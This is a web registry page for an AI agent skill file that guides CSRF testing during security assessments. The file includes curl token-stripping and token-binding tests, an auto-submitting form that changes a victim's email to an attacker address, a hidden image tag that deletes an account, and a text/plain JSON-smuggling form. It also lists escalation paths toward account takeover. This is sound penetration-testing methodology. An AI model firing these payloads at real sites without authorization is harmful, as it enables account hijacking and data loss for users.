csrf
Skill1 starsChanged 11 days agoMITView on GitHub
Hunt for Cross-Site Request Forgery on state-changing actions, and for token validation bypasses (missing check, token not tied to session, method/content-type bypass). Use when an authenticated action changes state (password change, email change, fund transfer, settings update, delete) via a request that could be forged from a third-party page. Keywords: csrf, xsrf, cross-site request forgery, same-site cookie, anti-csrf token, double-submit cookie, SameSite bypass, referer check bypass, state-changing GET. Do NOT use for read-only GET endpoints with no state change (no CSRF impact by definition — note as N/A, not a finding). Do NOT use for session fixation — that is a related but distinct auth-bypass scenario.
7 other projects use a version of this.
Adopted by
Most recently taken up by
- blacklanternsecurity/red-runtheir own version, first seen Oct 25, 2026
- cdxiaodong/cain-agenttheir own version, first seen Oct 8, 2026
- emre-guler/websectheir own version, first seen Aug 27, 2026
- conjure-3301/skillstheir own version, first seen Aug 17, 2026
- thejefflarson/soundchecktheir own version, first seen Jul 31, 2026
- KaanBicaklar/mona-sast-skillstheir own version, first seen Jul 9, 2026
Used with
Projects with it also use path-traversal.
Other files people use alongside this one.
Files found in the same public projects as a version of this one, more often than they turn up anywhere else. Each project counts once, large collections count for less, and this file's own repository is left out.
langbyyiSkillpath-traversal
Path traversal and LFI playbook. Use when file paths, download endpoints, include operations, archive extraction, or wrapper behavior may expose filesystem control.
Also in 4 projects that use this
Other versions7 projects use a version of this.
Word for word · 0
None found.
Edited · 0
None found.
Wrote their own version · 7
- cdxiaodong/cain-agent★ 953same name
- blacklanternsecurity/red-run★ 296same name
- thejefflarson/soundcheck★ 20same name
- langbyyi/websec-skills★ 4same name
- emre-guler/websec★ 2same name
- KaanBicaklar/mona-sast-skills★ 2same name
- conjure-3301/skills★ 0same name
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository124 other files it gives its agents.
- CLAUDE.mdCLAUDE.md
- ai-agent-reconSkill
- ai-supply-chainSkill
- exfiltration-via-aiSkill
- indirect-injectionSkill
- llm-fuzzingSkill
- prompt-injectionSkill
- rag-poisoningSkill
- tool-abuseSkill
- chain-analysisSkill
- chain-auth-to-takeoverSkill
- chain-customSkill
- chain-graph-walkSkill
- chain-idor-to-mass-dataSkill
- chain-info-to-exploitSkill
- chain-multi-appSkill
- chain-ssrf-to-cloudSkill
- chain-web-to-rceSkill
- chain-xss-to-account-takeoverSkill
- email-securitySkill
- engagement-flowSkill
- finding-disciplineSkill
- http-headers-securitySkill
- oob-interactionsSkill
- opsec-disciplineSkill
- research-firstSkill
- scope-disciplineSkill
- scope-importSkill
- session-contextSkill
- 2fa-bypassSkill
- api-abuseSkill
- auth-bypassSkill
- broken-access-controlSkill
- business-logicSkill
- cache-poisoningSkill
- clickjackingSkill
- corsSkill
- credential-testingSkill
- crlf-injectionSkill
- cryptographic-oracleSkill
- css-injectionSkill
- data-exfiltration-testSkill
- deserializationSkill
- email-injectionSkill
- file-uploadSkill
- fuzzingSkill
- graphqlSkill
- grpcSkill
- host-headerSkill
- http-smugglingSkill
- idorSkill
- info-disclosureSkill
- jwtSkill
- lateral-movementSkill
- lfi-rfiSkill
- mass-assignmentSkill
- oauthSkill
- open-redirectSkill
- parameter-pollutionSkill
- password-resetSkill
- The first 60 shown.
The file
We split this skill into the rules it gives an agent
5 rules. 0 are common, 4 are distinctive, and 1 is very specific to this project.
0
Common
Most of the 4 edited versions we read keep these.
4
Distinctive
This author's own choices. Worth a look.
1
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Distinctive: line 59
If this still succeeds (200 + actual change), token validation is missing entirely — strong signal, but confirm with an actual cross-origin …
- Distinctive: line 126
No anti-CSRF token implemented on state-changing endpoints.
- Distinctive: line 144
Document the browser/version used (SameSite enforcement differs across browsers/versions) and whether the SameSite cookie attribute was …
- Very specific: line 153
Common N/A: read-only GET with no state change — not CSRF-able by definition even if unauthenticated.
- Distinctive: line 172
Before declaring this finding complete, probe these escalation paths:
“Common” is measured: kept by at least 6 in 10 of the 4 edited versions of this file we could read. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
Signals
- Forms/API calls that change state (POST/PUT/PATCH/DELETE) with no anti-CSRF token field, or a token present but never validated server-side.
Set-Cookiefor the session missingSameSite=Strict/Lax, or set toSameSite=Nonewithout a compensating token check.- Token validation that only checks presence of a token, not that it matches the session (e.g., any syntactically valid token passes).
- State-changing actions reachable via
GET(clickable via a plain<img src>— no JS needed). Referer/Originused as the only CSRF defense (fragile — often omitted by browsers/ proxies, or spoofable on older clients).- JSON-only APIs assumed "safe from CSRF" — true only if the server strictly rejects
non-
application/jsoncontent types; test this assumption explicitly.
Prerequisites
- An authenticated test session performing a real state-changing action, with its request fully captured (headers, cookies, body).
- A way to render a cross-origin PoC page (local HTML file opened in a browser, or a page hosted on infra you control) — CSRF proof requires a true cross-origin request, not same-origin curl.
Methodology
- Identify the target action and capture its legitimate request.
# Example: capture the real password-change request via Burp/proxy, then replay pieces manually curl -s -b "session=VALIDTOKEN" -X POST https://target/api/account/email \ -d "new_email=me@test.local&csrf_token=abc123" - Strip the token and retest — does removal alone break the request?
If this still succeeds (200 + actual change), token validation is missing entirely — strong signal, but confirm with an actual cross-origin PoC (next step) since curl sends cookies regardless of origin, unlike a browser.curl -s -b "session=VALIDTOKEN" -X POST https://target/api/account/email \ -d "new_email=me@test.local" - Build and fire a cross-origin PoC. This is the step that actually proves CSRF (a browser
enforces SameSite/Origin; curl does not):
For<!-- csrf_poc.html — host on a different origin than target, or open as file:// --> <html><body onload="document.forms[0].submit()"> <form action="https://target/api/account/email" method="POST"> <input type="hidden" name="new_email" value="attacker@evil.test"> </form> </body></html>GET-based state changes (worst case — no JS needed):
For JSON-body APIs, check if the server accepts form-encoded/text-plain content that a plain HTML form can send cross-origin without a CORS preflight:<img src="https://target/account/delete?confirm=1" style="display:none">
Open the PoC in a browser while logged into the target in the same browser, then verify server-side whether the action actually executed (check the account state as the victim session afterward).<form action="https://target/api/account/email" method="POST" enctype="text/plain"> <input name='{"new_email":"attacker@evil.test","x":"' value='"}'> </form> - Token-binding check — if a token exists, confirm it's actually tied to the session, not
just "a token exists":
Success = token not bound to session (just checked for well-formedness).# Get token for session A, try it against session B's state-changing request curl -s -b "session=SESSION_B" -X POST https://target/api/account/email \ -d "new_email=x@test.local&csrf_token=TOKEN_FROM_SESSION_A" - SameSite cookie check:
curl -sI https://target/login -c cookies.txt grep -i "samesite" cookies.txt # or inspect Set-Cookie header directly curl -sI https://target/anything | grep -i "set-cookie"SameSite=None(or absent on older stacks defaulting insecurely) without a secondary token defense = exploitable;SameSite=Lax/Strictgenerally blocks cross-site POST from a third-party page in modern browsers — note this as a mitigating factor, and test whether aGET-based state change still slips through Lax (top-level navigation GETs are allowed under Lax). - Method-override / content-type bypass:
# does the app honor an override header to dodge CSRF middleware scoped to POST only? curl -s -b "session=VALIDTOKEN" -X GET "https://target/api/account/email?new_email=x@test.local" \ -H "X-HTTP-Method-Override: POST"
Tooling
- Burp Suite — "Generate CSRF PoC" feature for quick cross-origin form generation, and the CSRF token tracer in the Sequencer/Comparer.
- Browser devtools (manual) — required to actually validate the cross-origin behavior under real SameSite enforcement; curl cannot substitute for this step.
curl— for the token-binding and strip tests prior to building the browser PoC.
Root Causes
- No anti-CSRF token implemented on state-changing endpoints.
- Token implemented but validated only for presence/format, not bound to the authenticated session (lets an attacker harvest their own valid token and reuse it in a forged request if they can get it delivered, or simply omit it if validation is this shallow it may not even check).
- Reliance on
Referer/Originheaders alone, which are not always sent (e.g., direct navigation, some HTTP clients) or are misconfigured to accept wildcard/partial matches. - Session cookie without
SameSiteattribute (orNonewithout an offsetting token check) on a stack old enough to default insecurely, or explicitly set for legitimate cross-site embedding needs without compensating controls. - State-changing logic exposed via
GET.
Validation Gate (minimum proof)
- A genuinely cross-origin HTML PoC, opened in a real browser with an active victim-equivalent session, results in the state change actually taking effect — verified by checking the account state afterward (not just an HTTP 200 from the forging page, since many apps return 200 even on validation failure).
- Document the browser/version used (SameSite enforcement differs across browsers/versions) and whether the SameSite cookie attribute was present.
Gotchas
- Minimum proof, not account takeover. Proving the email/password change endpoint is forgeable is the finding; don't chain into fully taking over an account unless that's the explicit next validation step with operator sign-off, especially if it locks out a real test account.
- Common N/A: read-only
GETwith no state change — not CSRF-able by definition even if unauthenticated; don't report "no CSRF token on GET /profile" as a finding. - Common N/A:
SameSite=Lax(the modern browser default) already blocks the classic auto-submitting cross-site POST PoC in current browsers — a finding here requires eitherSameSite=None, a GET-based state change (Lax allows top-level GET navigation), or demonstrating the PoC actually works in an unpatched/older browser relevant to the target's user base. - Overclaim trap: a
curlrequest succeeding with just the session cookie, with no actual cross-origin browser PoC executed, is not CSRF proof — curl doesn't enforce SameSite/Origin the way browsers do; always complete step 3. - Overclaim trap: APIs that strictly require
Content-Type: application/jsonand reject other content types are generally not CSRF-able via plain HTML forms (forms can't set that header) — verify the server actually rejectstext/plain/multipart/form-databefore claiming JSON APIs are safe, and before claiming they're exploitable. - Double-submit-cookie pattern CSRF defenses are broken by any subdomain-level XSS or cookie- injection vulnerability — note this as a chain, not a standalone CSRF finding, if that's the actual path.
Chain Anchors
Before declaring this finding complete, probe these escalation paths:
- Self-XSS chaining — Can you chain with a self-XSS/reflected XSS finding to deliver the CSRF cross-user? Self-XSS alone has no cross-user impact.
- Account takeover path — Can the CSRF change email or password, giving full account takeover rather than a single state change?
- OAuth state absence — Is there a missing/predictable OAuth state parameter that compounds the CSRF into an account-linking attack?
- Admin-only actions — Does the CSRF work against admin-only actions, raising blast radius beyond a single user?
A finding without chain anchor results is INCOMPLETE. Record each anchor as tested/not-applicable/blocked with the reason.
Chains & Compositions
- CSRF + no
SameSite→ account-takeover when chained with password/email change endpoints. - XSS (reads anti-CSRF token from DOM) → defeats token-based CSRF defenses entirely — see xss; report as "CSRF defense bypassed via XSS," a distinct and more severe finding than bare CSRF.
- CORS misconfiguration (cors) allowing credentialed cross-origin reads can let an attacker read the CSRF token via JS, upgrading a token-protected endpoint to forgeable — check this interaction explicitly when both weaknesses are present.
- Login CSRF (forcing a victim into the attacker's session) → session-fixation-flavored auth-bypass.
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

